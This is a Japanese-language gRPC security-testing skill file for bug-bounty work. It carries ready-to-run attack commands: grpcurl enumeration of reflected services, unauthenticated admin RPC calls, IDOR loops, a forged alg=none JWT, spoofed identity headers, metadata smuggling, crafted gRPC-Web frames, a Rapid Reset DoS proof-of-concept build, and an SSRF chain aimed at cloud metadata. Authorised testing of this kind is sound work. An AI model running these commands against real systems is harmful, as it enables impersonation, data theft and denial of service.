hunt-grpc

HUNT-GRPC — gRPC セキュリティ

最重要ターゲット

gRPC リフレクションが有効になっていると、ソースコードなしでサービスカタログ全体を列挙できます。価値が最も高い gRPC の脆弱性は、サービスが「内部向け」であるという設計上の前提に起因します。認証はエッジプロキシで適用され、バックエンドは到達した呼び出し元をすべて信頼します。バックエンドに直接到達できると（公開ポート、SSRF、プロキシのバイパスなど）、その信頼関係は崩れます。

価値が最も高い発見事項：

• 本番環境でリフレクションが有効 — grpc.reflection.v1alpha.ServerReflection／grpc.reflection.v1.ServerReflection は、すべてのメソッド、メッセージ、内部サービスを一覧表示します。脆弱性そのものではなく、列挙を可能にするものです（「検証」を参照）。
• 内部サービスに認証がない — 東西方向のマイクロサービス通信向けに設計されたサービスが、mTLS もメソッドごとの認可もないまま外部に公開されている場合 → 特権メソッドを直接呼び出せます。
• エッジ認証のみ／メタデータのストリッピング — プロキシはユーザーを認証しているものの、バックエンドがプロキシによって挿入されたヘッダー（x-user-id、x-tenant-id、x-forwarded-*）を再度信頼しています。バックエンドに到達できる場合や、プロキシ経由でそれらのヘッダーを注入できる場合、任意のテナントになりすませます。
• 平文 gRPC — 標準外のポートで gRPC h2c（暗号化されていない HTTP/2）が使われている場合 → 認証情報／メタデータを傍受できます。
• HTTP/2 Rapid Reset DoS（CVE-2023-44487） — HEADERS フレームと直後の RST_STREAM フレームを交互に送信し、MAX_CONCURRENT_STREAMS のカウントを回避します → リソース枯渇につながります。DoS を対象範囲に含めているプログラムはほぼありません。送信する前に、明示的な書面による許可を得てください。

---

フェーズ 1 — フィンガープリント取得とポート探索

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl --max-time 30 --connect-timeout 10 -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl --max-time 30 --connect-timeout 10 -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

grpc-status トレーラーが存在する場合、そのポートの背後に gRPC サーバー（または grpc-gateway／Envoy）があることを示します。ランダムなパスに対する UNIMPLEMENTED は通常の動作であり、トランスポートを確認するだけで、発見事項にはなりません。

---

フェーズ 2 — リフレクションによるサービス列挙

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

**リフレクションが無効になっている場合でも、**メソッドを推測できれば既知のメソッドを呼び出せます。または、漏えいした .proto から（フェーズ 5）記述子セットを再構築し、grpcurl -protoset bundle.bin ... で渡すこともできます。リフレクションを無効にするのは堅牢化対策であり、セキュリティ境界ではありません。

---

フェーズ 3 — 認証なしでのメソッド呼び出し（認可テスト）

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

バイト列が返ってきたかどうかだけでなく、gRPC ステータスコードを確認してください（「検証」を参照）。

• OK ＋ 値が設定されたレスポンス → 認証なしでメソッドが実行されました → 発見事項です。
• Unauthenticated (16)／PermissionDenied (7) → 認可が適用されています。発見事項ではありません。
• Unimplemented (12) → パスが間違っているか、このサーバーにメソッドがありません。
• InvalidArgument (3) → リクエストが到達して解析されました → メソッドを呼び出せます。ペイロードを修正して再試行してください。

---

フェーズ 4 — 認証／信頼境界のバイパス

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

メタデータのストリッピングに関するバグ（b）は、gRPC 固有の最重要ポイントです。なりすましヘッダーをバックエンドポートへ直接、さらに公開プロキシ経由でも送信して確認してください。プロキシが x-user-id を変更せずにバックエンドへ転送する場合、バイパスしたポートだけでなく、実際のユーザーにも悪用可能です。

---

フェーズ 5 — Proto ファイル／スキーマの発見

# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto の漏えいは、それ単独では深刻度が低いものです。その価値は、リフレクションが無効なターゲットに対してフェーズ 3～4 を実行する鍵になる点にあります。

---

フェーズ 6 — gRPC-Web／grpc-gateway／JSON トランスコーディング攻撃

gRPC はほぼ常に、トランスコーダーを介してブラウザーに接続されます。たとえば、Envoy grpc_web／grpc_json_transcoder、grpc-gateway（REST↔gRPC）、または Connect です。こうした変換レイヤーは、現実的な外部攻撃対象領域であり、内部メソッドを再公開していることもよくあります。

# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

これが重要な理由：ブラウザー向けトランスコーダーは通常、内部 gRPC プレーンと同じバックエンドに転送します。トランスコーダーのルートが AdminService を公開している場合や、gRPC クライアントが送信するはずの認証を要求しない場合、実際に外部から到達可能な認可の脆弱性があります。トランスコードされた各ルートが機密データを含む OK を返すことを確認し、未認証ユーザーまたは低権限ユーザーとして到達できることを検証してください（メッシュ内部からしか到達できない場合は該当しません）。

フェーズ 7 — HTTP/2 Rapid Reset DoS（CVE-2023-44487）

許可の確認： DoS はほとんどのプログラムで対象外です。明示的かつ書面による許可があり、プログラムの担当者が合意した対象と実施時間帯が指定されていない限り、実行しないでください。不明な場合は「検証」へ進んでください。

この攻撃は負荷テストではありません。サーバーが処理を終える前にストリーム（HEADERS）を開始し、直ちにキャンセル（RST_STREAM）するため、キャンセルされた各ストリームによって MAX_CONCURRENT_STREAMS の枠が即座に空く一方、サーバーは引き続きその処理にリソースを費やします。その結果、クライアントは同時実行数の上限を大幅に超える速度で処理を進めます。h2load／ghz はスループットベンチマーク用ツールです。これらには Rapid Reset モードがなく、HEADERS と直後の RST_STREAM を交互に送信することもないため、この攻撃をテストできません。

適切なツール — 実際にこのフレームパターンを送信する、作者公認の PoC：

# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

DoS を行わない検出方法 — こちらを推奨します： 証明する必要があるのは、緩和策が導入されているかどうかだけです。サーバーのバナー／バージョンと、RST の大量送信を検知するかどうかを確認してください。

# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl --max-time 30 --connect-timeout 10 -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

ベンチマークでの速度低下ではなく、バージョンで確認された 緩和策の欠如を報告してください。「負荷をかけたらサーバーが遅くなった」ことは CVE-2023-44487 の証拠にはなりません。低速またはリソース不足のサーバーでは誤検知が生じ、RST を適切に調整する修正済みサーバーでは見逃しが発生します。

---

ツール

grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

---

チェーン表

gRPC の検出事項	次の手順	影響
リフレクションが有効	内部サービスの全メソッドとメッセージを列挙する	API カタログ全体の漏えい（足がかり）
管理用メソッドに認証なし	特権 RPC（DeleteUser、GetConfig）を呼び出す	データ改ざん／システムアクセス — 重大
プロキシが x-user-id／x-tenant-id を削除せずに転送	ID メタデータを偽装 → テナントをまたいだなりすまし	テナント分離の回避 — 重大
列挙可能な ID フィールドによる IDOR	GetUser の user_id を順に試す	大量の個人情報の窃取 — 高
grpc-gateway／gRPC-Web のルートが内部 RPC を再公開	認証なしで変換済みの REST／JSON パスにアクセス	外部から到達可能な認可回避 — 高／重大
内部ポートで平文 h2c を使用	MITM／メタデータ（ベアラートークン）を盗聴	認証情報の取得 — 高
.proto の漏えい（リポジトリ／swagger）	-protoset でリフレクション無効の対象を操作	フェーズ 3〜4 を可能にする — 単独では低、足がかりとしては高

検証

このセルフテストを実行して、gRPC の調査に必要な準備が整っていることを確認してください。

1. スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。

   grep -q "name: hunt-grpc" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。

---

落とし穴

• 機密性の高いメソッドがない状態で gRPC リフレクションが有効 — リフレクションは設計上の選択です。内部／管理用メソッドが公開されている場合に限り報告してください。
• gRPC で TLS がない — 内部ネットワークでの平文 gRPC は一般的です。インターネットに公開されているサービスでのみ検出事項としてください。
• gRPC-Web プロキシの回避 — gRPC-Web を gRPC に変換するプロキシでは、バックエンドとは異なる認証が設定されている場合があります。両方の経路をテストしてください。
• クラッシュを伴わない Protocol Buffers のファジング — 不正な Protocol Buffers によって 500 が返されても、必ずしも悪用可能とは限りません。クラッシュによる RCE またはデータ漏えいが必要です。

---

関連スキル

• hunt-idor — 列挙可能な ID パラメーター（user_id、order_id、tenant_id）を使った gRPC メソッド呼び出しには、REST API と同じ IDOR パターンが見られます。連鎖の例：リフレクションで user.UserService/GetUser が見つかる → grpcurl -d '{"user_id": 1}' がユーザーデータを返す → ID 1～10000 を反復し、認証なしで大量の PII を窃取する。
• hunt-api-misconfig — JWT の alg=none、protobuf メッセージフィールドのマスアサインメント、HTTP 動詞の改ざんは、いずれも gRPC-Web／grpc-gateway で変換されたエンドポイントに適用できます。連鎖の例：変換された REST エンドポイントが、GET のみのルートで X-HTTP-Method-Override: DELETE を受け入れる → リソースを削除する。
• hunt-auth-bypass — プロキシは認証するものの、バックエンドがプロキシによって挿入されたヘッダーを信頼する、エッジ認証のみの gRPC サービスが対象です。連鎖の例：x-user-id: 1 ヘッダーを gRPC メタデータに挿入する → バックエンドが認証済み管理者として扱う → テナントをまたいでなりすます。
• hunt-tls-network — 標準外ポートでの平文 h2c gRPC、ALPN ネゴシエーションの分析、TLS バージョンのフォールバックが対象です。連鎖の例：ポート 9090 で h2c（TLS なし）の gRPC が稼働している → ローカルネットワーク上の MITM 攻撃者がメタデータ内の認証トークンを読み取り、送信できる。
• hunt-ssrf — URL／ホストパラメーター（webhook、import、proxy）を受け取る gRPC メソッドは SSRF の攻撃対象になります。連鎖の例：billing.BillingService/ProcessWebhook が webhook_url を受け取る → http://[REDACTED_IP]/latest/meta-data/ に設定する → クラウドメタデータを窃取する。
• hunt-cloud-misconfig — 公開されたトランスコーダーを通じてクラウドリソース管理メソッド（CreateInstance、ListBuckets、InvokeFunction）を公開する gRPC サービスが対象です。連鎖の例：リフレクションで cloud.CloudService/CreateInstance が見つかる → grpc-gateway が /v1/cloud/instances を公開する → 認証なしでクラウドリソースをプロビジョニングする。
• hunt-http-smuggling — HTTP/2 Rapid Reset（CVE-2023-44487）は、gRPC over HTTP/2 スタックに関連します。連鎖の例：nginx／Envoy の背後に gRPC サーバーがある → Rapid Reset の大量送信で MAX_CONCURRENT_STREAMS の制限を回避する → コントロールプレーンへの DoS。
• security-arsenal — gRPC サービス列挙用ワードリスト（一般的なサービス名：UserService、OrderService、AdminService、AuthService、PaymentService）、protobuf ペイロードテンプレート、リフレクションプローブのペイロードを活用してください。
• triage-validation — Status-Code Discrimination Gate を適用してください。grpc-status: 0（OK）の gRPC レスポンスは確認済みの指摘事項です。Unauthenticated (16)／PermissionDenied (7) は認証が機能していることを意味するため、その候補は終了してください。エラーフレームの可能性がある空でないレスポンスボディを根拠に、「認証なし」と判断してはいけません。

関連スキル：hunt-idor（ID 列挙のロジック）、hunt-api-misconfig（JWT alg=none／リクエストメッセージのマスアサインメント）、hunt-auth-bypass（エッジとバックエンドの信頼境界）、hunt-tls-network（h2c／平文通信＋ALPN）、cloud-iam-deep（呼び出した RPC がクラウド認証情報を返す場合）。

---

検証 — 誤検知を防ぐ

gRPC の失敗は、単純な grep では成功のように見えることがあります。報告を提出する前に、以下の条件を確認してください。

1. バイト数ではなくステータスコードで判別する。 空でないレスポンスでも、エラーフレームの場合があります。grpc-status トレーラーが 0（OK）であることを確認してください。Unauthenticated (16)／PermissionDenied (7) は認証が機能していることを意味します。この候補は対象外にしてください。Unimplemented (12) はメソッドが間違っていることを意味します。grpcurl -v で再実行し、トレーラーを明示的に確認してください。

2. リフレクション／ヘルスチェックのエンドポイントは、意図的に公開されていることがよくあります。 grpc.reflection.* や grpc.health.v1.Health にアクセスできるというだけでは、**情報漏えい（最大でも低／中程度）**です。多くのベンダーは、設計上リフレクションを有効にしています。非公開のサービスカタログが漏えいしていない限り、「認証なし」として報告しないでください。問題となるのは、第 3 フェーズで認証なしに呼び出せることを実証した、機微なサービスです。

3. 「認証がない」と「このメソッドに認証が不要」を区別する。 ヘルスチェックや公開カタログの読み取りなど、一部のメソッドは正当に匿名で利用できます。同じ RPC が認証情報なしで別のユーザー／テナントの非公開データを返す、または変更を伴う管理者 RPC が実行されることを示し、認証ありと認証なしでの状態の差分を実証して脆弱性を証明してください（副作用を確認するため、変更後の状態を再読み込みしてください）。

4. プロキシ経由とバックエンドへの直接アクセスを区別する。 SSRF／ポートスキャンで見つけた内部 :50051 への接続でのみ悪用できる問題も実在しますが、深刻度は到達可能性によって異なります。外部の攻撃者がどのように到達するか（公開ポート、SSRF のアウトバウンド通信、プロキシのパススルー）を明記してください。メタデータ偽装については、バイパスしたバックエンドのポートだけでなく、公開プロキシが偽装されたヘッダーを転送することを実証してください。

5. ブラインドな動作には OOB／Collaborator を使用する。 RPC が URL／ホスト引数を受け取る場合（Webhook、インポート、レンダリング）は、SSRF の候補です。一意なサブドメインを含む Burp Collaborator ペイロードを指定し、SSRF を主張する前に DNS と HTTP の通信を確認してください。通信がなければ、SSRF ではありません。hunt-ssrf に引き継いでください。

6. DoS は認可が必要で、バージョンで検証可能でなければなりません。 ベンチマークで「遅くなった」というだけで CVE-2023-44487 を報告してはいけません。（a）server: バナーで未パッチの HTTP/2 スタックとバージョンが一致することを確認するか、（b）合意済みの実施時間帯に、明示的な書面での許可を得た場合に限りリセットフラッドを実証し、その後すぐに停止してください。レスポンスが遅いことは証拠になりません。

深刻度の目安（上記の条件を通過した場合）：

• 認証なしで呼び出せる機微な管理者 RPCで、副作用を実証 → Critical
• プロキシ経由で転送されるメタデータの偽装による、テナント間のなりすまし → Critical
• 列挙可能な RPC による IDOR／PII の大量漏えい → High
• 内部サービスに外部から到達可能（トランスコーダーまたは開放ポート） → High
• 平文の h2c によるベアラーメタデータの漏えい → High
• 非公開のカタログを公開するリフレクションの有効化 → Medium（悪用の足掛かり）
• 呼び出し可能な機微なメソッドがない状態での Proto／ディスクリプターの漏えい → Low